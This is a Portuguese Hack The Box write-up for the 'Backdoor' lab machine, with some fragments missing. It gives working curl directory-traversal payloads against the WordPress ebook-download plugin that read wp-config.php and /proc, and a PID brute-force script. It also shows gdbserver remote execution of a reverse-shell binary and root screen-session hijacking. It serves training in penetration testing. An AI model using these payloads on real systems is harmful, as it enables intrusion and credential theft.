Backdoor
Introdução
https://app.hackthebox.com/machines/Backdoor
10.10.11.125. O ponto de entrada é um plugin do WordPress vulnerável a Directory Traversal, que permite ler arquivos arbitrários do sistema, inclusive dentro de /proc. Usando essa falha para enumerar os processos em execução, foi possível identificar um GDB Server escutando na porta 1337, que serviu como vetor para obter a shell inicial como o usuário user. Já a escalada de privilégios foi possível porque o root mantém uma sessão de screen aberta em loop, à qual qualquer usuário do sistema consegue se conectar diretamente.
Escaneamento
O primeiro passo foi enumerar portas e serviços com nmap.
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.11.125 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.11.125
Enumeração
Porta 80 (HTTP)
Ao acessar http://10.10.11.125/, encontramos uma página incompleta que referencia o domínio backdoor.htb.
backdoor.htb ao /etc/hosts.
echo "10.10.11.125 backdoor.htb" | sudo tee -a /etc/hosts
http://10.10.11.125/.htpasswd (Status: 403) [Size: 277]
http://10.10.11.125/index.php (Status: 200) [Size: 63830]
http://10.10.11.125/license.txt (Status: 200) [Size: 19915]
http://10.10.11.125/server-status (Status: 403) [Size: 277]
http://10.10.11.125/wp-content (Status: 200) [Size: 0]
http://10.10.11.125/wp-admin (Status: 200) [Size: 5674]
http://10.10.11.125/wp-config.php (Status: 200) [Size: 0]
http://10.10.11.125/wp-includes (Status: 200) [Size: 52159]
http://10.10.11.125/wp-login.php (Status: 200) [Size: 5674]
http://10.10.11.125/xmlrpc.php (Status: 405) [Size: 42]
http://10.10.11.125/wp-trackback.php (Status: 200) [Size: 135]
===============================================================
---
O alvo está rodando WordPress. Vamos enumerar em busca de algum plugin vulnerável.
<empty-block/>
## Directory Traversal no plugin ebook-download
Encontramos um plugin vulnerável a **Directory Traversal**.
`http://10.10.11.125/wp-content/plugins/`

<empty-block/>
Trata-se do plugin **ebook-download**, que possui uma vulnerabilidade pública de Directory Traversal / Local File Inclusion documentada no exploit-db.
`https://www.exploit-db.com/exploits/39575`

<empty-block/>
O parâmetro `ebookdownloadurl` do arquivo `filedownload.php` não sanitiza o caminho informado, permitindo navegar para fora do diretório do plugin. Com isso conseguimos ler o `wp-config.php` e expor as credenciais do banco de dados.
```shell
curl -s http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
http://backdoor.htb/wp-login.php, mas sem sucesso — elas não se aplicam ao painel de administração do WordPress.
Porta 1337 (serviço desconhecido)
Enumeração de processos (brute force de PID)
Não sabíamos qual serviço estava rodando nessa porta. Como já tínhamos leitura arbitrária de arquivos via o plugin vulnerável, decidimos enumerar os processos do sistema abusando do diretório /proc, que contém uma pasta para cada PID em execução. Por exemplo, no Kali:
self, que é um link simbólico para o PID do processo atual. Novamente, no Kali:
cmdline, que contém a linha de comando usada para iniciar o processo:
curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../proc/self/cmdline
curl não exibe dados binários corretamente no terminal, usamos -o- para forçar a saída para stdout.
curl -o- http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../proc/self/cmdline
curl -o- -s http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/self/cmdline | tr '\000' ' ' | cut -c55- | rev | cut -c32- | rev
-spara limpar a saída.tr '\000' ' 'substitui os bytes nulos por espaços.cut -c55-retira o prefixo repetido: /proc/self/cmdline/proc/self/cmdline/proc/self/cmdlinecut -c32-retira o sufixo: <script>window.close()</script>revinverte a string {color=“gray_bg”}
Com a saída limpa, montamos um script que percorre os PIDs de 1 a 2000 no lugar de self, revelando o comando executado por cada processo.
#!/bin/bash
for i in {1..2000}; do
path="/proc/${i}/cmdline"
retira_path=$(( 3 * ${#path} + 1))
resp=$(curl -o- -s http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=${path} | tr '\000' ' ')
saida=$(echo $resp | cut -c ${retira_path}- | sed "s/<script>window.close()<\/script>//")
if [[ -n "$saida" ]]; then
echo -e "PID:${i} ==> ${saida}"
fi
done
Conectar ao servidor remoto:
target extended-remote 10.10.11.125:1337
Com a conexão estabelecida, enviamos o binário:
remote put perverse.elf /tmp/perverse.elf
No Kali, preparamos um listener na porta 443
Agora só falta definir o executável remoto de depuração e rodá-lo:
set remote exec-file /tmp/perverse.elf run
<empty-block/>

Conseguimos shell como o usuário `user`.
# Pós-Exploração
## Upgrade do shell
```bash
/usr/bin/script -qc /bin/bash /dev/null
export SHELL=bash;export TERM=xterm-256color
python3.8 -c "import pty; pty.spawn('/bin/bash')"
Elevação de Privilégios
Enumerando os processos em execução, vimos que algo mantém o screen rodando como root, em loop. Esse comando verifica o diretório /var/run/screen/S-root a cada um segundo; se estiver vazio, cria uma nova sessão do screen como root.
Screen é um multiplexador de terminal que permite abrir múltiplas janelas dentro de uma mesma sessão, mantendo-as em execução mesmo quando o usuário se desconecta (essas sessões só se perdem em um reboot). {color=“gray_bg”}
Verificamos que existe uma sessão de root:
ls -l /var/run/screen/
screen -ls root/
screen -x root/
